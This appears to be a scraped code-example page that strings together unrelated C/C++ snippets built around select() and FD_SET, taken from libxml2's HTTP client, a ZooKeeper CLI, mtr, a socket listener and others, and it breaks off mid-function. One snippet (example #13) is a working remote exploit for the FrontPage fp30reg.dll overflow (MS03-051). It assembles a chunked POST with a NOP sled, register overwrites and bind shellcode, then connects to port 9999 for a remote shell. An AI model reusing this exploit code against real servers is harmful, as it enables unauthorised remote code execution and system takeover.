#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable: 4018)
#endif
#ifndef _WINSOCKAPI_
    if (s > FD_SETSIZE)
        return INVALID_SOCKET;
#endif
    FD_ZERO(&wfd);
    FD_SET(s, &wfd);

#ifdef _WINSOCKAPI_
    FD_ZERO(&xfd);
    FD_SET(s, &xfd);

    switch (select(s + 1, NULL, &wfd, &xfd, &tv))
#else
    switch (select(s + 1, NULL, &wfd, NULL, &tv))
#endif
#ifdef _MSC_VER
#pragma warning(pop)
#endif

#else /* !HAVE_POLL_H */
    p.fd = s;
    p.events = POLLOUT;
    switch (poll(&p, 1, timeout * 1000))
#endif /* !HAVE_POLL_H */

    {
        case 0:
            /* Time out */
            __xmlIOErr(XML_FROM_HTTP, 0, "Connect attempt timed out");
            closesocket(s);
            return INVALID_SOCKET;
        case -1:
            /* Ermm.. ?? */
            __xmlIOErr(XML_FROM_HTTP, 0, "Connect failed");
            closesocket(s);
            return INVALID_SOCKET;
    }

#ifndef HAVE_POLL_H
    if (FD_ISSET(s, &wfd)
#ifdef _WINSOCKAPI_
        || FD_ISSET(s, &xfd)
#endif
        )
#else /* !HAVE_POLL_H */
    if (p.revents == POLLOUT)
#endif /* !HAVE_POLL_H */
    {
        XML_SOCKLEN_T len;

        len = sizeof(status);
#ifdef SO_ERROR
        if (getsockopt(s, SOL_SOCKET, SO_ERROR, (char *) &status, &len) <
            0) {
            /* Solaris error code */
            __xmlIOErr(XML_FROM_HTTP, 0, "getsockopt failed\n");
            closesocket(s);
            return INVALID_SOCKET;
        }
#endif
        if (status) {
            __xmlIOErr(XML_FROM_HTTP, 0,
                       "Error connecting to remote host");
            closesocket(s);
            errno = status;
            return INVALID_SOCKET;
        }
    } else {
        /* pbm */
        __xmlIOErr(XML_FROM_HTTP, 0, "select failed\n");
        closesocket(s);
        return INVALID_SOCKET;
    }

    return (s);
}
示例#10
0
文件: cli.c 项目: ce/ruby-zookeeper
int main(int argc, char **argv) {
#ifndef THREADED
    fd_set rfds, wfds, efds;
    int processed=0;
#endif
    char buffer[4096];
    char p[2048];
#ifdef YCA  
    char *cert=0;
    char appId[64];
#endif
    int bufoff = 0;
    FILE *fh;

    if (argc < 2) {
        fprintf(stderr,
                "USAGE %s zookeeper_host_list [clientid_file|cmd:(ls|create|od|...)]\n", 
                argv[0]);
        fprintf(stderr,
                "Version: ZooKeeper cli (c client) version %d.%d.%d\n", 
                ZOO_MAJOR_VERSION,
                ZOO_MINOR_VERSION,
                ZOO_PATCH_VERSION);
        return 2;
    }
    if (argc > 2) {
      if(strncmp("cmd:",argv[2],4)==0){
        strcpy(cmd,argv[2]+4);
        batchMode=1;
        fprintf(stderr,"Batch mode: %s\n",cmd);
      }else{
        clientIdFile = argv[2];
        fh = fopen(clientIdFile, "r");
        if (fh) {
            if (fread(&myid, sizeof(myid), 1, fh) != sizeof(myid)) {
                memset(&myid, 0, sizeof(myid));
            }
            fclose(fh);
        }
      }
    }
#ifdef YCA
    strcpy(appId,"yahoo.example.yca_test");
    cert = yca_get_cert_once(appId);
    if(cert!=0) {
        fprintf(stderr,"Certificate for appid [%s] is [%s]\n",appId,cert);
        strncpy(p,cert,sizeof(p)-1);
        free(cert);
    } else {
      fprintf(stderr,"Certificate for appid [%s] not found\n",appId);
      strcpy(p,"dummy");
    }
#else
    strcpy(p, "dummy");
#endif
    verbose = 0;
    zoo_set_debug_level(ZOO_LOG_LEVEL_WARN);
    zoo_deterministic_conn_order(1); // enable deterministic order
    hostPort = argv[1];
    zh = zookeeper_init(hostPort, watcher, 30000, &myid, 0, 0);
    if (!zh) {
        return errno;
    }

#ifdef YCA
    if(zoo_add_auth(zh,"yca",p,strlen(p),0,0)!=ZOK)
    return 2;
#endif

#ifdef THREADED
    while(!shutdownThisThing) {
        int rc;
        int len = sizeof(buffer) - bufoff -1;
        if (len <= 0) {
            fprintf(stderr, "Can't handle lines that long!\n");
            exit(2);
        }
        rc = read(0, buffer+bufoff, len);
        if (rc <= 0) {
            fprintf(stderr, "bye\n");
            shutdownThisThing=1;
            break;
        }
        bufoff += rc;
        buffer[bufoff] = '\0';
        while (strchr(buffer, '\n')) {
            char *ptr = strchr(buffer, '\n');
            *ptr = '\0';
            processline(buffer);
            ptr++;
            memmove(buffer, ptr, strlen(ptr)+1);
            bufoff = 0;
        }
    }
#else
    FD_ZERO(&rfds);
    FD_ZERO(&wfds);
    FD_ZERO(&efds);
    while (!shutdownThisThing) {
        int fd;
        int interest;
        int events;
        struct timeval tv;
        int rc;
        zookeeper_interest(zh, &fd, &interest, &tv);
        if (fd != -1) {
            if (interest&ZOOKEEPER_READ) {
                FD_SET(fd, &rfds);
            } else {
                FD_CLR(fd, &rfds);
            }
            if (interest&ZOOKEEPER_WRITE) {
                FD_SET(fd, &wfds);
            } else {
                FD_CLR(fd, &wfds);
            }
        } else {
            fd = 0;
        }
        FD_SET(0, &rfds);
        rc = select(fd+1, &rfds, &wfds, &efds, &tv);
        events = 0;
        if (FD_ISSET(fd, &rfds)) {
            events |= ZOOKEEPER_READ;
        }
        if (FD_ISSET(fd, &wfds)) {
            events |= ZOOKEEPER_WRITE;
        }
        if(batchMode && processed==0){
          //batch mode
          processline(cmd);
          processed=1;
        }
        if (FD_ISSET(0, &rfds)) {
            int rc;
            int len = sizeof(buffer) - bufoff -1;
            if (len <= 0) {
                fprintf(stderr, "Can't handle lines that long!\n");
                exit(2);
            }
            rc = read(0, buffer+bufoff, len);
            if (rc <= 0) {
                fprintf(stderr, "bye\n");
                break;
            }
            bufoff += rc;
            buffer[bufoff] = '\0';
            while (strchr(buffer, '\n')) {
                char *ptr = strchr(buffer, '\n');
                *ptr = '\0';
                processline(buffer);
                ptr++;
                memmove(buffer, ptr, strlen(ptr)+1);
                bufoff = 0;
            }
        }
        zookeeper_process(zh, events);
    }
#endif
    if (to_send!=0)
        fprintf(stderr,"Recvd %d responses for %d requests sent\n",recvd,sent);
    zookeeper_close(zh);
    return 0;
}
示例#11
0
static int
xmlNanoHTTPRecv(xmlNanoHTTPCtxtPtr ctxt)
{
#ifdef HAVE_POLL_H
    struct pollfd p;
#else
    fd_set rfd;
    struct timeval tv;
#endif


    while (ctxt->state & XML_NANO_HTTP_READ) {
        if (ctxt->in == NULL) {
            ctxt->in = (char *) xmlMallocAtomic(65000 * sizeof(char));
            if (ctxt->in == NULL) {
                xmlHTTPErrMemory("allocating input");
                ctxt->last = -1;
                return (-1);
            }
            ctxt->inlen = 65000;
            ctxt->inptr = ctxt->content = ctxt->inrptr = ctxt->in;
        }
        if (ctxt->inrptr > ctxt->in + XML_NANO_HTTP_CHUNK) {
            int delta = ctxt->inrptr - ctxt->in;
            int len = ctxt->inptr - ctxt->inrptr;

            memmove(ctxt->in, ctxt->inrptr, len);
            ctxt->inrptr -= delta;
            ctxt->content -= delta;
            ctxt->inptr -= delta;
        }
        if ((ctxt->in + ctxt->inlen) < (ctxt->inptr + XML_NANO_HTTP_CHUNK)) {
            int d_inptr = ctxt->inptr - ctxt->in;
            int d_content = ctxt->content - ctxt->in;
            int d_inrptr = ctxt->inrptr - ctxt->in;
            char *tmp_ptr = ctxt->in;

            ctxt->inlen *= 2;
            ctxt->in = (char *) xmlRealloc(tmp_ptr, ctxt->inlen);
            if (ctxt->in == NULL) {
                xmlHTTPErrMemory("allocating input buffer");
                xmlFree(tmp_ptr);
                ctxt->last = -1;
                return (-1);
            }
            ctxt->inptr = ctxt->in + d_inptr;
            ctxt->content = ctxt->in + d_content;
            ctxt->inrptr = ctxt->in + d_inrptr;
        }
        ctxt->last = recv(ctxt->fd, ctxt->inptr, XML_NANO_HTTP_CHUNK, 0);
        if (ctxt->last > 0) {
            ctxt->inptr += ctxt->last;
            return (ctxt->last);
        }
        if (ctxt->last == 0) {
            return (0);
        }
        if (ctxt->last == -1) {
            switch (socket_errno()) {
                case EINPROGRESS:
                case EWOULDBLOCK:
#if defined(EAGAIN) && EAGAIN != EWOULDBLOCK
                case EAGAIN:
#endif
                    break;

                case ECONNRESET:
                case ESHUTDOWN:
                    return (0);

                default:
                    __xmlIOErr(XML_FROM_HTTP, 0, "recv failed\n");
                    return (-1);
            }
        }
#ifdef HAVE_POLL_H
        p.fd = ctxt->fd;
        p.events = POLLIN;
        if ((poll(&p, 1, timeout * 1000) < 1)
#if defined(EINTR)
            && (errno != EINTR)
#endif
            )
            return (0);
#else /* !HAVE_POLL_H */
#ifndef _WINSOCKAPI_
        if (ctxt->fd > FD_SETSIZE)
            return 0;
#endif

        tv.tv_sec = timeout;
        tv.tv_usec = 0;
        FD_ZERO(&rfd);

#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable: 4018)
#endif

        FD_SET(ctxt->fd, &rfd);

#ifdef _MSC_VER
#pragma warning(pop)
#endif

        if ((select(ctxt->fd + 1, &rfd, NULL, NULL, &tv) < 1)
#if defined(EINTR)
            && (errno != EINTR)
#endif
            )
            return (0);
#endif /* !HAVE_POLL_H */
    }
    return (0);
}
示例#12
0
static int
xmlNanoHTTPSend(xmlNanoHTTPCtxtPtr ctxt, const char *xmt_ptr, int outlen)
{
    int total_sent = 0;
#ifdef HAVE_POLL_H
    struct pollfd p;
#else
    struct timeval tv;
    fd_set wfd;
#endif

    if ((ctxt->state & XML_NANO_HTTP_WRITE) && (xmt_ptr != NULL)) {
        while (total_sent < outlen) {
            int nsent = send(ctxt->fd, (xmt_ptr + total_sent),
                             outlen - total_sent, 0);

            if (nsent > 0)
                total_sent += nsent;
            else if ((nsent == -1) &&
#if defined(EAGAIN) && EAGAIN != EWOULDBLOCK
                     (socket_errno() != EAGAIN) &&
#endif
                     (socket_errno() != EWOULDBLOCK)) {
                __xmlIOErr(XML_FROM_HTTP, 0, "send failed\n");
                if (total_sent == 0)
                    total_sent = -1;
                break;
            } else {
                /*
                 * No data sent
                 * Since non-blocking sockets are used, wait for
                 * socket to be writable or default timeout prior
                 * to retrying.
                 */
#ifndef HAVE_POLL_H
#ifndef _WINSOCKAPI_
                if (ctxt->fd > FD_SETSIZE)
                    return -1;
#endif

                tv.tv_sec = timeout;
                tv.tv_usec = 0;
                FD_ZERO(&wfd);
#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable: 4018)
#endif
                FD_SET(ctxt->fd, &wfd);
#ifdef _MSC_VER
#pragma warning(pop)
#endif
                (void) select(ctxt->fd + 1, NULL, &wfd, NULL, &tv);
#else
                p.fd = ctxt->fd;
                p.events = POLLOUT;
                (void) poll(&p, 1, timeout * 1000);
#endif /* !HAVE_POLL_H */
            }
        }
    }

    return total_sent;
}
示例#13
0
int main(int argc,char *argv[])
{     
		WSADATA wsaData;
		struct sockaddr_in targetTCP;
		fd_set fds;
		//struct hostent *host;
		struct timeval tv;
		int sockTCP,s,switchon;
		unsigned short port = 80;
		long ip;
		unsigned char header[]=	"POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
        unsigned char packet[3000],data[1500];		                
		unsigned char ecx[] = "\xe0\xf3\xd4\x67";
		unsigned char edi[] = "\xff\xd0\x90\x90";		
		unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
		unsigned char shortjmp[] = "\xeb\x10";
		
		printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
				   " by Adik < netmaniac [at] hotmail.KG >\n http://netninja.to.kg\n\n", VER);
		if(argc < 2)
		{
			
			printf(" Usage: %s [Target] <port>\n"
					" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
			return 1;			
		}		
		if(argc==3)
			port = atoi(argv[2]);					
        WSAStartup(0x0202, &wsaData);				
		printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
		ip=gimmeip(argv[1]);	
        memset(&targetTCP, 0, sizeof(targetTCP));
		memset(packet,0,sizeof(packet));
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);				
		sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);		
		memset(data, 0x90, sizeof(data)-1);
		data[sizeof(data)-1] = '\x0';
		memcpy(&data[16],edi,sizeof(edi)-1);
		memcpy(&data[20],ecx,sizeof(ecx)-1);		
		memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
		memcpy(&data[250+14],call,sizeof(call)-1);		
		memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
		sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);		
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}
		printf("[*] Socket initialized...\n");					
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("[*] Connection to host failed! Exiting...\n");
			WSACleanup();
			exit(1);
		} 		
		printf("[*] Checking for presence of fp30reg.dll...");
		if (send(sockTCP, packet, strlen(packet),0) == -1)
		{
				printf("[x] Failed to inject packet! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		memset(packet,0,sizeof(packet));	
		switchon=1;
		ioctlsocket(sockTCP,FIONBIO,&switchon);	
		tv.tv_sec = RECVTIMEOUT;
		tv.tv_usec = 0;
		FD_ZERO(&fds);
		FD_SET(sockTCP,&fds);	
		if((select(sockTCP+1,&fds,0,0,&tv))>0)
		{
			recv(sockTCP, packet, sizeof(packet),0);
			if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
				printf(" Found!\n");
			else
			{
				printf(" Not Found!! Exiting...\n");
				WSACleanup();				
				return 1;
			}
		}
		else
		{
				printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
				WSACleanup();
                return 1;
		}				
		switchon=0;
		ioctlsocket(sockTCP,FIONBIO,&switchon);		
		printf("[*] Packet injected!\n");
		closesocket(sockTCP);
		printf("[*] Sleeping ");
		for(s=0;s<13000;s+=1000)
		{
			printf(". ");
			Sleep(1000);
		}		
		printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
		if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("\n[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}		
		targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(9999);
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
			WSACleanup();
			exit(1);
		} 
		printf("\n[*] Dropping to shell...\n\n");
		cmdshell(sockTCP);
        return 0;
}
    int listener::
    accept (
        connection*& new_connection,
        unsigned long timeout
    )
    {
        SOCKET incoming;
        sockaddr_in incomingAddr;
        int length = sizeof(sockaddr_in);

        // implement timeout with select if timeout is > 0
        if (timeout > 0)
        {
            fd_set read_set;
            // initialize read_set
            FD_ZERO(&read_set);

            // add the listening socket to read_set
            FD_SET(listening_socket, &read_set);

            // setup a timeval structure
            timeval time_to_wait;
            time_to_wait.tv_sec = static_cast<long>(timeout/1000);
            time_to_wait.tv_usec = static_cast<long>((timeout%1000)*1000);


            // wait on select
            int status = select(0,&read_set,0,0,&time_to_wait);

            // if select timed out
            if (status == 0)
                return TIMEOUT;
            
            // if select returned an error
            if (status == SOCKET_ERROR)
                return OTHER_ERROR;

        }


        // call accept to get a new connection
        incoming=::accept(listening_socket,reinterpret_cast<sockaddr*>(&incomingAddr),&length);

        // if there was an error return OTHER_ERROR
        if ( incoming == INVALID_SOCKET )
            return OTHER_ERROR;
        

        // get the port of the foreign host into foreign_port
        int foreign_port = ntohs(incomingAddr.sin_port);

        // get the IP of the foreign host into foreign_ip
        std::string foreign_ip;
        {
            char* foreign_ip_temp = inet_ntoa(incomingAddr.sin_addr);

            // check if inet_ntoa() returned an error
            if (foreign_ip_temp == NULL)
            {
                closesocket(incoming);
                return OTHER_ERROR;            
            }

            foreign_ip.assign(foreign_ip_temp);
        }


        // get the local ip
        std::string local_ip;
        if (inaddr_any == true)
        {
            sockaddr_in local_info;
            length = sizeof(sockaddr_in);
            // get the local sockaddr_in structure associated with this new connection
            if ( getsockname (
                    incoming,
                    reinterpret_cast<sockaddr*>(&local_info),
                    &length
                 ) == SOCKET_ERROR 
            )
            {   // an error occurred
                closesocket(incoming);
                return OTHER_ERROR;
            }
            char* temp = inet_ntoa(local_info.sin_addr);
            
            // check if inet_ntoa() returned an error
            if (temp == NULL)
            {
                closesocket(incoming);
                return OTHER_ERROR;            
            }
            local_ip.assign(temp);
        }
        else
        {
            local_ip = listening_ip;
        }


        // set the SO_OOBINLINE option
        int flag_value = 1;
        if (setsockopt(incoming,SOL_SOCKET,SO_OOBINLINE,reinterpret_cast<const char*>(&flag_value),sizeof(int)) == SOCKET_ERROR )
        {
            closesocket(incoming);
            return OTHER_ERROR;  
        }


        // make a new connection object for this new connection
        try 
        { 
            new_connection = new connection (
                                    incoming,
                                    foreign_port,
                                    foreign_ip,
                                    listening_port,
                                    local_ip
                                ); 
        }
        catch (...) { closesocket(incoming); return OTHER_ERROR; }

        return 0;
    }
示例#15
0
double capacityEstimation(int tcpsock, int udpsock0, struct sockaddr_in *from, FILE *fp)
{
	char buf[2000];
	int ret1 = 0, sz = 0;
	struct timeval ts, tstart, tend, tout;
	struct timeval tsend[TRAIN_LENGTH], trecv[TRAIN_LENGTH];
	int seq[TRAIN_LENGTH];
	double gap = 0;
	double cap = -1, mediancap = -1;
	pcapestack pcapack;
	pcapack.header.ptype = P_CAP_ACK;
	pcapack.header.length = 0;
	int ret = 0, count = 0, niters = 0, nrecvd = 0;

	fd_set readset;
	int maxfd = (udpsock0 > tcpsock) ? udpsock0+1 : tcpsock+1;

	double caps[10*NITERATIONS], validcaps[10*NITERATIONS];
	memset(caps, 0, 10*NITERATIONS*sizeof(double));
	memset(validcaps, 0, 10*NITERATIONS*sizeof(double));
	int validsz = 0;
	int ULSZ = sizeof(unsigned long), UCSZ = sizeof(unsigned char);

	while(1)
	{
		niters++;
		cap = ret1 = sz = -1;
		tstart.tv_sec = tstart.tv_usec = tend.tv_sec = tend.tv_usec = -1;
		memset(tsend, 0, TRAIN_LENGTH*sizeof(struct timeval));
		memset(trecv, 0, TRAIN_LENGTH*sizeof(struct timeval));
		nrecvd = 0;

		for(count = 0; count < TRAIN_LENGTH; count++)
		{
			FD_ZERO(&readset);
			FD_SET(udpsock0, &readset);
			tout.tv_sec = 1; tout.tv_usec = 0;
			ret = select(maxfd, &readset, NULL, NULL, &tout);
			if(ret < 0)
			{
				fprintf(stderr, "select error\n");
				return -1;
			}
			else if(ret == 0)
			{
				break;
			}
			if(FD_ISSET(udpsock0, &readset))
			{
				unsigned int fromlen = sizeof(struct sockaddr_in);
				ret1 = recvfrom(udpsock0, buf, 2000, 0, 
						(struct sockaddr *)from, &fromlen);
				if(ret1 == -1)
				{
					fprintf(stderr, "recv error on UDP\n");
					return -1;
				}
#ifndef OSX
				if (ioctl(udpsock0, SIOCGSTAMP, &ts) < 0)
				{
					perror("ioctl-SIOCGSTAMP");
					gettimeofday(&ts,NULL);
				}
#else
				gettimeofday(&ts, NULL);
#endif
				if(tstart.tv_sec == -1) tstart = ts;
				tend = ts;
				sz = ret1;

				seq[count] = buf[0];
				trecv[count] = ts;
				tsend[count].tv_sec = ntohl(*(unsigned long *)((char *)buf
							+UCSZ));
				tsend[count].tv_usec = ntohl(*(unsigned long *)((char *)buf
							+UCSZ+ULSZ));
				nrecvd++;
			}
		}

		fprintf(fp, "### TRAIN ###\n");
		for(count = 0; count < TRAIN_LENGTH; count++)
		{
			fprintf(fp, "%f %f %d\n", 
					tsend[count].tv_sec+tsend[count].tv_usec*1e-6,
					trecv[count].tv_sec+trecv[count].tv_usec*1e-6,
					seq[count]);
		}
		fprintf(fp, "\n");

		gap = timeval_diff(tend, tstart); //s
		if(sz != -1 && gap != 0)
		{
			cap = 1.0e-3*(nrecvd-1)*(sz+UDPIPHEADERSZ)*8.0/gap; //Kbps
			//printf("cap: %.2f Kbps\n", cap);
			//printf("."); fflush(stdout);
		}
		caps[niters-1] = cap;

		pcapack.capacity = htonl(cap);
		pcapack.finalflag = 0;
		pcapack.trainlength = htonl(TRAIN_LENGTH);
		if(niters % NITERATIONS == 0) { 
			pcapack.finalflag = htonl(1);
			break;
		}
		if(niters > 10*NITERATIONS) break;

		ret = writewrapper(tcpsock, (char *)&pcapack, 
				sizeof(struct _capestack));
		if(ret == -1)
		{
			fprintf(stderr, "SERV: error writing to client: %d\n", tcpsock);
			close(tcpsock);
			return -1;
		}
	}

	for(ret1=0; ret1<10*NITERATIONS; ret1++)
	{
		if(caps[ret1] == -1 || caps[ret1] == 0)
		continue;
		validcaps[validsz] = caps[ret1];
		validsz++;
	}
	int compd(const void *a, const void *b);
	qsort((void *)validcaps, validsz, sizeof(double), compd);
	mediancap = validcaps[(int)floor(validsz/2.0)];

	pcapack.finalflag = htonl(1);
	pcapack.capacity = htonl(mediancap);
	ret = writewrapper(tcpsock, (char *)&pcapack, 
			sizeof(struct _capestack));
	if(ret == -1)
	{
		fprintf(stderr, "SERV: error writing to client: %d\n", tcpsock);
		close(tcpsock);
		return -1;
	}

	return mediancap;
}
示例#16
0
文件: select.c 项目: nikolaik/mtr
void select_loop(void) {
  fd_set readfd;
  fd_set writefd;
  int anyset = 0;
  int maxfd = 0;
  int dnsfd, netfd;
#ifdef ENABLE_IPV6
  int dnsfd6;
#endif
  int NumPing = 0;
  int paused = 0;
  struct timeval lasttime, thistime, selecttime;
  struct timeval startgrace;
  int dt;
  int rv; 
  int graceperiod = 0;

  memset(&startgrace, 0, sizeof(startgrace));

  gettimeofday(&lasttime, NULL);

  while(1) {
    dt = calc_deltatime (WaitTime);
    intervaltime.tv_sec  = dt / 1000000;
    intervaltime.tv_usec = dt % 1000000;

    FD_ZERO(&readfd);
    FD_ZERO(&writefd);

    maxfd = 0;

    if(Interactive) {
      FD_SET(0, &readfd);
      maxfd = 1;
    }

#ifdef ENABLE_IPV6
    if (dns) {
      dnsfd6 = dns_waitfd6();
      if (dnsfd6 >= 0) {
        FD_SET(dnsfd6, &readfd);
        if(dnsfd6 >= maxfd) maxfd = dnsfd6 + 1;
      } else {
        dnsfd6 = 0;
      }
    } else
      dnsfd6 = 0;
#endif
    if (dns) {
      dnsfd = dns_waitfd();
      FD_SET(dnsfd, &readfd);
      if(dnsfd >= maxfd) maxfd = dnsfd + 1;
    } else
      dnsfd = 0;

    netfd = net_waitfd();
    FD_SET(netfd, &readfd);
    if(netfd >= maxfd) maxfd = netfd + 1;

    if (mtrtype == IPPROTO_TCP)
      net_add_fds(&writefd, &maxfd);

    do {
      if(anyset || paused) {
	/* Set timeout to 0.1s.
	 * While this is almost instantaneous for human operators,
	 * it's slow enough for computers to go do something else;
	 * this prevents mtr from hogging 100% CPU time on one core.
	 */
	selecttime.tv_sec = 0;
	selecttime.tv_usec = paused?100000:0; 
      
	rv = select(maxfd, (void *)&readfd, &writefd, NULL, &selecttime);

      } else {
	if(Interactive) display_redraw();

	gettimeofday(&thistime, NULL);

	if(thistime.tv_sec > lasttime.tv_sec + intervaltime.tv_sec ||
	   (thistime.tv_sec == lasttime.tv_sec + intervaltime.tv_sec &&
	    thistime.tv_usec >= lasttime.tv_usec + intervaltime.tv_usec)) {
	  lasttime = thistime;

	  if (!graceperiod) {
	    if (NumPing >= MaxPing && (!Interactive || ForceMaxPing)) {
	      graceperiod = 1;
	      startgrace = thistime;
	    }

	    /* do not send out batch when we've already initiated grace period */
	    if (!graceperiod && net_send_batch())
	      NumPing++;
	  }
	}

	if (graceperiod) {
	  dt = (thistime.tv_usec - startgrace.tv_usec) +
		    1000000 * (thistime.tv_sec - startgrace.tv_sec);
	  if (dt > GRACETIME)
	    return;
	}

	selecttime.tv_usec = (thistime.tv_usec - lasttime.tv_usec);
	selecttime.tv_sec = (thistime.tv_sec - lasttime.tv_sec);
	if (selecttime.tv_usec < 0) {
	  --selecttime.tv_sec;
	  selecttime.tv_usec += 1000000;
	}
	selecttime.tv_usec = intervaltime.tv_usec - selecttime.tv_usec;
	selecttime.tv_sec = intervaltime.tv_sec - selecttime.tv_sec;
	if (selecttime.tv_usec < 0) {
	  --selecttime.tv_sec;
	  selecttime.tv_usec += 1000000;
	}

	if (dns) {
	  if ((selecttime.tv_sec > (time_t)dnsinterval) ||
	      ((selecttime.tv_sec == (time_t)dnsinterval) &&
	       (selecttime.tv_usec > ((time_t)(dnsinterval * 1000000) % 1000000)))) {
	    selecttime.tv_sec = (time_t)dnsinterval;
	    selecttime.tv_usec = (time_t)(dnsinterval * 1000000) % 1000000;
	  }
	}

	rv = select(maxfd, (void *)&readfd, NULL, NULL, &selecttime);
      }
    } while ((rv < 0) && (errno == EINTR));

    if (rv < 0) {
      perror ("Select failed");
      exit (1);
    }
    anyset = 0;

    /*  Have we got new packets back?  */
    if(FD_ISSET(netfd, &readfd)) {
      net_process_return();
      anyset = 1;
    }

    if (dns) {
      /* Handle any pending resolver events */
      dnsinterval = WaitTime;
      dns_events(&dnsinterval);
    }

    /*  Have we finished a nameservice lookup?  */
#ifdef ENABLE_IPV6
    if(dns && dnsfd6 && FD_ISSET(dnsfd6, &readfd)) {
      dns_ack6();
      anyset = 1;
    }
#endif
    if(dns && dnsfd && FD_ISSET(dnsfd, &readfd)) {
      dns_ack();
      anyset = 1;
    }

    /*  Has a key been pressed?  */
    if(FD_ISSET(0, &readfd)) {
      switch (display_keyaction()) {
      case ActionQuit: 
	return;
	break;
      case ActionReset:
	net_reset();
	break;
      case ActionDisplay:
        display_mode = (display_mode+1) % 3;
	break;
      case ActionClear:
	display_clear();
	break;
      case ActionPause:
	paused=1;
	break;
      case  ActionResume:
	paused=0;
	break;
      case ActionMPLS:
	   enablempls = !enablempls;
	   display_clear();
	break;
      case ActionDNS:
	if (dns) {
	  use_dns = !use_dns;
	  display_clear();
	}
	break;
#ifdef IPINFO
      case ActionII:
	ipinfo_no++;
	if (ipinfo_no > ipinfo_max)
	  ipinfo_no = 0;
	break;
      case ActionAS:
	ipinfo_no = ipinfo_no?0:ipinfo_max;
	break;
#endif

      case ActionScrollDown:
        display_offset += 5;
	break;
      case ActionScrollUp:
        display_offset -= 5;
	if (display_offset < 0) {
	  display_offset = 0;
	}
	break;
      }
      anyset = 1;
    }

    /* Check for activity on open sockets */
    if (mtrtype == IPPROTO_TCP)
      net_process_fds(&writefd);
  }
  return;
}
示例#17
0
文件: winpipe.c 项目: 274914765/C
/*
    Windows unnamed pipe emulation, used to enable select()
    on a Windows machine for the CALLBACK (pipe-based) transport domain.
*/
int create_winpipe_transport (int *pipefds)
{
    SOCKET socketpair[2];

    struct sockaddr_in socketaddress[2];

    struct timeval waittime = { 0, 200000 };
    fd_set readset;

    if (InitUPDSocket (&socketpair[0], &socketaddress[0]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }
    if (InitUPDSocket (&socketpair[1], &socketaddress[1]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }

    /*
       I have two UDP sockets - now lets connect them to each other.
     */

    if (ConnectUDPSocket (&socketpair[0], &socketaddress[0], &socketpair[1]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }
    if (ConnectUDPSocket (&socketpair[1], &socketaddress[1], &socketpair[0]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }

    /*
       The two sockets are connected to each other, now lets test the connection
       by sending the own port number.
     */
    if (TestUDPSend (&socketpair[0], &socketaddress[0]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }
    if (TestUDPSend (&socketpair[1], &socketaddress[1]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }

    /*
       Port numbers sent, now lets select() on the socketpair and check that 
       both messages got through
     */
    FD_ZERO (&readset);
    FD_SET (socketpair[0], &readset);
    FD_SET (socketpair[1], &readset);

    /*
       For some unknown reason the timeout setting in the select call does not have
       the desired effect, and for yet another unknown reason a Sleep(1) solves this
       problem.
     */
    Sleep (1);
    if (select (0, &readset, NULL, NULL, &waittime) != 2 || !FD_ISSET (socketpair[0], &readset)
        || !FD_ISSET (socketpair[1], &readset))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }

    /*
       Check if the packets I receive were really sent by me, and nobody else
       tried to sneak.
     */
    if (TestUDPReceive (&socketpair[0], &socketpair[1], &socketaddress[1]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }
    if (TestUDPReceive (&socketpair[1], &socketpair[0], &socketaddress[0]))
    {
        CloseUDPSocketPair (socketpair);
        return -1;
    }

    /*
       All sanity checks passed, I can return a "UDP pipe"
     */
    pipefds[0] = (int) socketpair[0];
    pipefds[1] = (int) socketpair[1];

    return 0;
}
示例#18
0
文件: axssl.c 项目: Lembed/uTLS
/**
 * Implement the SSL client logic.
 */
static void do_client(int argc, char *argv[])
{
#ifdef CONFIG_SSL_ENABLE_CLIENT
    int res, i = 2;
    uint16_t port = 4433;
    uint32_t options = SSL_SERVER_VERIFY_LATER | SSL_DISPLAY_CERTS;
    int client_fd;
    char *private_key_file = NULL;
    struct sockaddr_in client_addr;
    struct hostent *hostent;
    int reconnect = 0;
    uint32_t sin_addr;
    SSL_CTX *ssl_ctx;
    SSL *ssl = NULL;
    int quiet = 0;
    int cert_index = 0, ca_cert_index = 0;
    int cert_size, ca_cert_size;
    char **ca_cert, **cert;
    uint8_t session_id[SSL_SESSION_ID_SIZE];
    fd_set read_set;
    const char *password = NULL;

    FD_ZERO(&read_set);
    sin_addr = inet_addr("127.0.0.1");
    cert_size = ssl_get_config(SSL_MAX_CERT_CFG_OFFSET);
